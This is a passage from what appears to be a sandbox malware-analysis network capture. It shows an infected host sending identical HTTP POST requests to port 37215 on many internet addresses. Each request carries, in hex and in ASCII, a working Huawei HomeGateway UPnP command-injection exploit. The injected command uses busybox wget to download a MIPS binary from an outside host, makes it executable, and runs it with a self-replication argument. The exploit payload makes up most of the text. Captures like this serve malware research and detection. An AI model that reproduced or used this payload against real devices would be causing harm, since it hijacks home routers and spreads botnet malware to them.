2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.15	41076	197.36.183.119	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.15	35514	173.213.209.100	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.15	51722	157.66.206.67	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.15	40464	197.182.32.204	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.15	39482	197.30.229.13	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.15	54592	197.79.113.139	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.15	44484	76.125.10.46	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.474283934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.15	37790	157.35.130.251	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.474283934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.15	43916	157.204.120.208	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.474283934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.15	45236	41.197.53.118	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.474283934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.15	38488	41.135.228.141	37215

Timestamp	Bytes transferred	Direction	Data
